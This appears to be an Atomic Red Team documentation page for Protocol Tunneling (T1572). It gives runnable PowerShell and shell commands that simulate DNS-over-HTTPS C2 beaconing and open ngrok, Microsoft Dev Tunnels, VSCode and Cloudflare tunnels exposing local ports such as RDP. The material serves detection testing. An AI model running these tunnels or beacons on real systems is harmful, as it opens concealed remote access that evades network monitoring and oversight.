Skip to content
Atomic Red Team
atomics
T1572

T1572 - Protocol Tunneling

Description from ATT&CK (opens in a new tab)

Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.

There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)(Citation: Sygnia Abyss Locker 2025)

Protocol Tunneling (opens in a new tab) may also be abused by adversaries during Dynamic Resolution (opens in a new tab). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)

Adversaries may also leverage Protocol Tunneling (opens in a new tab) in conjunction with Proxy (opens in a new tab) and/or Protocol or Service Impersonation (opens in a new tab) to further conceal C2 communications and infrastructure.

Atomic Tests


Atomic Test #1 - DNS over HTTPS Large Query Volume

This test simulates an infected host sending a large volume of DoH queries to a command and control server. The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.

Supported Platforms: Windows

auto_generated_guid: ae9ef4b0-d8c1-49d4-8758-06206f19af0a

Inputs:

NameDescriptionTypeDefault Value
doh_serverDefault DoH resolverstringhttps://8.8.8.8/resolve (opens in a new tab)
query_typeDNS query typestringTXT
subdomainSubdomain prepended to the domain namestringatomicredteam
query_volumeNumber of DNS queries to sendinteger1000
domainDefault domain to simulate againststring127.0.0.1.xip.io

Attack Commands: Run with powershell!

for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content }


Atomic Test #2 - DNS over HTTPS Regular Beaconing

This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time. This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.

Supported Platforms: Windows

auto_generated_guid: 0c5f9705-c575-42a6-9609-cbbff4b2fc9b

Inputs:

NameDescriptionTypeDefault Value
doh_serverDefault DoH resolverstringhttps://8.8.8.8/resolve (opens in a new tab)
runtimeTime in minutes to run the simulationinteger30
domainDefault domain to simulate againststring127.0.0.1.xip.io
subdomainSubdomain prepended to the domain namestringatomicredteam
query_typeDNS query typestringTXT
c2_intervalSeconds between C2 requests to the command and control serverinteger30
c2_jitterPercentage of jitter to add to the C2 interval to create variance in the times between C2 requestsinteger20

Attack Commands: Run with powershell!

Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}


Atomic Test #3 - DNS over HTTPS Long Domain Query

This test simulates an infected host returning data to a command and control server using long domain names. The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.

Supported Platforms: Windows

auto_generated_guid: 748a73d5-cea4-4f34-84d8-839da5baa99c

Inputs:

NameDescriptionTypeDefault Value
doh_serverDefault DoH resolverstringhttps://8.8.8.8/resolve (opens in a new tab)
query_typeDNS query typestringTXT
subdomainSubdomain prepended to the domain name (should be 63 characters to test maximum length)stringatomicredteamatomicredteamatomicredteamatomicredteamatomicredte
domainDefault domain to simulate againststring127.0.0.1.xip.io

Attack Commands: Run with powershell!

Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}


Atomic Test #4 - run ngrok

Download and run ngrok. Create tunnel to chosen port.

Supported Platforms: Windows

auto_generated_guid: 4cdc9fc7-53fb-4894-9f0c-64836943ea60

Inputs:

NameDescriptionTypeDefault Value
api_tokenngrok APIstringN/A
port_numport number for tunnelinteger3389
downloadlink to download ngrokstringhttps://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip (opens in a new tab)

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

C:\Users\Public\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null
Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp #{port_num} } | Out-Null
Start-Sleep -s 5 
Stop-Job -Name Job1 | Out-Null

Cleanup Commands:

Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore
Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Download ngrok
Check Prereq Commands:
if (Test-Path C:\Users\Public\ngrok) {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Path C:\Users\Public\ngrok -ItemType Directory | Out-Null
Invoke-WebRequest #{download} -OutFile C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip
Expand-Archive C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip -DestinationPath C:\Users\Public\ngrok


Atomic Test #5 - Microsoft Dev tunnels (Linux/macOS)

Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels.

This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc. Reference:

Supported Platforms: Linux, macOS

auto_generated_guid: 9f94a112-1ce2-464d-a63b-83c1f465f801

Inputs:

NameDescriptionTypeDefault Value
portport number for tunnelinteger8080
download_urllink to download devtunnelstringhttps://aka.ms/TunnelsCliDownload/linux-x64 (opens in a new tab)
binary_pathpath to download devtunnelstringPathToAtomicsFolder/../ExternalPayloads/devtunnel

Attack Commands: Run with bash!

#{binary_path} host -p #{port} &

Cleanup Commands:

pkill -9 $(basename "#{binary_path}")
#{binary_path} user logout
rm #{binary_path}

Dependencies: Run with bash!

Description: Download devtunnel
Check Prereq Commands:
test -f #{binary_path}
Get Prereq Commands:
mkdir -p $(dirname #{binary_path})
curl -L "#{download_url}" -o "#{binary_path}"
chmod +x #{binary_path}
Description: Login to Microsoft Dev tunnels
Check Prereq Commands:
#{binary_path} user show | grep -q "Not logged in" && exit 1 || exit 0
Get Prereq Commands:
echo "Login to devtunnel using the following command: #{binary_path} user login"


Atomic Test #6 - VSCode tunnels (Linux/macOS)

Visual Studio Code Remote Tunnels can be used for exposing local development environment/services/files over the internet. This atomic will generate a dev tunnel binding it to the local service running on the provided port. Reference:

Supported Platforms: Linux, macOS

auto_generated_guid: b877943f-0377-44f4-8477-f79db7f07c4d

Inputs:

NameDescriptionTypeDefault Value
artifact_base_urlBase URL to download code-clistringhttps://code.visualstudio.com/sha/download (opens in a new tab)
artifact_buildbuild to download - Allowed values (stable/insiders)stringstable
payload_pathpath to download code-clistringPathToAtomicsFolder/../ExternalPayloads
additional_argsadditional arguments to pass to code tunnelstring

Attack Commands: Run with sh!

nohup code tunnel --accept-server-license-terms #{additional_args} >/dev/null 2>&1 &

Cleanup Commands:

pkill -9 tunnel
code tunnel unregister
code tunnel user logout

Dependencies: Run with sh!

Description: Install code-cli
Check Prereq Commands:
which code
Get Prereq Commands:
ARCH_SUFFIX=$(uname -m | grep -q "arm64\|aarch64" && echo "arm64" || echo "x64")
if [ "$(uname)" = "Darwin" ]
then brew install code-cli
elif [ "$(expr substr $(uname) 1 5)" = "Linux" ]
then mkdir -p $(dirname #{payload_path})        
  PKG_TYPE=$(command -v apt >/dev/null && echo "deb" || echo "rpm")
  curl -L "#{artifact_base_url}?build=#{artifact_build}&os=linux-${PKG_TYPE}-${ARCH_SUFFIX}" -o "#{payload_path}/code.${PKG_TYPE}"
  (which apt && apt install -y "#{payload_path}/code.${PKG_TYPE}") || (which yum && yum install -y "#{payload_path}/code.${PKG_TYPE}")
  rm "#{payload_path}/code.${PKG_TYPE}"
fi
Description: Login to VSCode Dev tunnels
Check Prereq Commands:
code tunnel user show | grep -q "not logged in" && exit 1 || exit 0
Get Prereq Commands:
echo "Login to code tunnel using the following command: code tunnel user login"


Atomic Test #7 - Cloudflare tunnels (Linux/macOS)

Cloudflared can be used for exposing local development environment/services/files over the internet. This atomic will generate a dev tunnel binding it to the local service running on the provided port. Reference:

Supported Platforms: Linux, macOS

auto_generated_guid: 228c336a-2f79-4043-8aef-bfa453a611d5

Inputs:

NameDescriptionTypeDefault Value
cloudflared_artifact_base_urlBase URL to download cloudflaredstringhttps://github.com/cloudflare/cloudflared/releases/latest/download (opens in a new tab)
binary_pathpath to download cloudflaredstringPathToAtomicsFolder/../ExternalPayloads/cloudflared
url_to_tunnelIP and port to exposestringlocalhost:8080
additional_argsAdditional arguments to pass to cloudflaredstring

Attack Commands: Run with sh!

nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &

Cleanup Commands:

pkill -9 $(basename "#{binary_path}")
rm -f "#{binary_path}"

Dependencies: Run with sh!

Description: Download cloudflared
Check Prereq Commands:
test -f "#{binary_path}" && exit 0 || exit 1
Get Prereq Commands:
ARCH_SUFFIX=$(uname -m | grep -q "arm64\|aarch64" && echo "arm64" || echo "amd64")
if [ "$(uname)" = "Darwin" ]
then curl -L "#{cloudflared_artifact_base_url}/cloudflared-darwin-${ARCH_SUFFIX}.tgz" -o "$(dirname #{binary_path})/cloudflared-darwin-${ARCH_SUFFIX}.tgz" 
  cd "$(dirname #{binary_path})"
  tar -xzf "cloudflared-darwin-${ARCH_SUFFIX}.tgz"
  rm -f "cloudflared-darwin-${ARCH_SUFFIX}.tgz"
  chmod +x "#{binary_path}"
elif [ "$(expr substr $(uname) 1 5)" = "Linux" ]
then mkdir -p $(dirname #{binary_path})
  curl -L "#{cloudflared_artifact_base_url}/cloudflared-linux-${ARCH_SUFFIX}" -o "#{binary_path}"
  chmod +x "#{binary_path}"
fi